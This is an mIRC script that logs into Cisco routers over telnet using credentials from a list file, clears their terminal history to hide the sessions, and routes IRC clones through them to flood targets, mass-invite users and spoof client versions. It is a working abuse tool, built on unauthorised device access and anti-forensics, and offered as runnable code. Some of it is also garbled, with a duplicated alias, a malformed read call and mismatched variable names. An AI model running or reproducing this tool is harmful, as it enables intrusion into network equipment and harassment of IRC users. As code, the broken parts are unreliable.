alias cload {
  set %cisco.lines $lines(%cisco.file)
  set %cisco $r(1,%cisco.lines)
  sockopen cisco* $+ $r(99999,9999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
  sockopen cisco* $+ $r(99999,9999999) $gettok($read(%cisco.file, %cisco), 1, 32) 23
}
alias creconnect {
  sockwrite -nt cisco* QUIT $1-
  sockwrite -nt cisco* CONNECT %server %port
}
alias cw {
  sockwrite -nt cisco* $1-
}
alias cnick2 { var %var = 1
  while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $1 $+ $rand(99,999) $+ $rand(99,999)
    inc %var 1
  }
}
alias cnick { var %var = 1
  while ($sock(cisco*, %var)) { $whilef | sockwrite -n $sock(cisco*, %var) NICK $read(ID.txt), %nick $+ %var)
    inc %var 1
  }
}
alias cnick2 {
  set %var 1
  sockwrite -n $sock(cisco*, %var) NICK Guest $+ $r(99999,9999999)
  inc %var
}
alias creg {
  sockwrite -nt cisco* PRIVMSG nickserv REGISTER bot1234 bots@bots.com
}
alias cdrop {
  sockwrite -nt cisco* PRIVMSG nickserv DROP
}
alias cjoin {
  sockwrite -nt cisco* JOIN $1
}
alias cpart {
  sockwrite -nt cisco* part $1
}
alias cquit {
  sockwrite -nt cisco* QUIT $1-
  sockwrite -nt cisco* terminal history size 0
}
alias chistory {
  sockwrite -nt cisco* terminal history size 0
}
alias cclose {
  sockclose cisco*
}
alias cchop {
  sockwrite -nt cisco* JOIN $1-
  sockwrite -nt cisco* PART $1-
}
alias cmsg {
  sockwrite -nt cisco* PRIVMSG $1-
}
alias cnotice {
  sockwrite -nt cisco* NOTICE $1-
}
alias chop {
  sockwrite -nt cisco* PART $1-
  sockwrite -nt cisco* JOIN $1-
}
alias cinvite {
  set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  sockwrite -nt cisco* JOIN %chan
  sockwrite -nt cisco* INVITE $1 %chan
  set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  sockwrite -nt cisco* JOIN %chan
  sockwrite -nt cisco* INVITE $1 %chan
  set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  sockwrite -nt cisco* JOIN %chan
  sockwrite -nt cisco* INVITE $1 %chan
  set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  sockwrite -nt cisco* JOIN %chan
  sockwrite -nt cisco* INVITE $1 %chan
  set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  sockwrite -nt cisco* JOIN %chan
  sockwrite -nt cisco* INVITE $1 %chan
  set %chan $r(A,Z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,100)
  sockwrite -nt cisco* JOIN %chan
  sockwrite -nt cisco* INVITE $1 %chan
}
alias cflood {
  set %target $1
  set %target.text $2-
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
  sockwrite -nt cisco* PRIVMSG %target %target.text
  cnick
}
alias cchanflood {
  set %target.text $2-
  sockwrite -nt cisco* JOIN $1
  sockwrite -nt cisco* PRIVMSG %target.text
  cnick
}
on *:sockopen:cisco*: {
  sockwrite -nt $sockname $gettok($read(%cisco.file, %cisco), 2, 32)
  sockwrite -nt $sockname terminal history size 0
  sockwrite -nt $sockname connect %server %port
  sockwrite -n $sockname USER $read(ID.txt) 
  sockwrite -n $sockname NICK $read(ID.txt)
  window @status
  echo @status Logging in: $sock($sockname).ip
}
on *:sockread:cisco*: {
  sockread %tmp
  tokenize 32 %tmp
  window @status
  sockbotread %temp
  write status.txt %temp
  if (:
version
 == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :
VERSION $+($botversion,
) }
  if ($sockerr || !%tmp) { return | window @broken | echo @broken $sockname }
  if ($gettok(%tmp,1,32) == ping) { sockwrite -n $sockname PONG $gettok(%tmp,2-,32) }
  halt
}
alias botversion {
  return mIRC v6. $+ $r(14,21) Khaled Mardam-Bey
}
alias botsend sockwrite -tn $sockname
alias botread return $remove($1,:)
alias sockbotread {
  if (:
version
 == $4-) { cgsbwin $sockname $color(ctcp) $+([,$gettok($mid($1,2,$len($1)),1,33)) $+($remove($mid($4,3,$len($4)),$chr(1)),]) $remove($5-,$chr(1)) | sockwrite -n $sockname notice $gettok($mid($1,2,$len($1)),1,33) :
VERSION $+($botversion,
) }
  if ($4 == :
TIME
) { sockwrite -tn $sockname :
TIME $time(hh:nn:sstt) $+ 
 }
}
alias -l cgsbwin {
  aline -pt 10 @status  $timestamp * $botversion
  aline -pt @status $+(@,$1) $timestamp $3-
}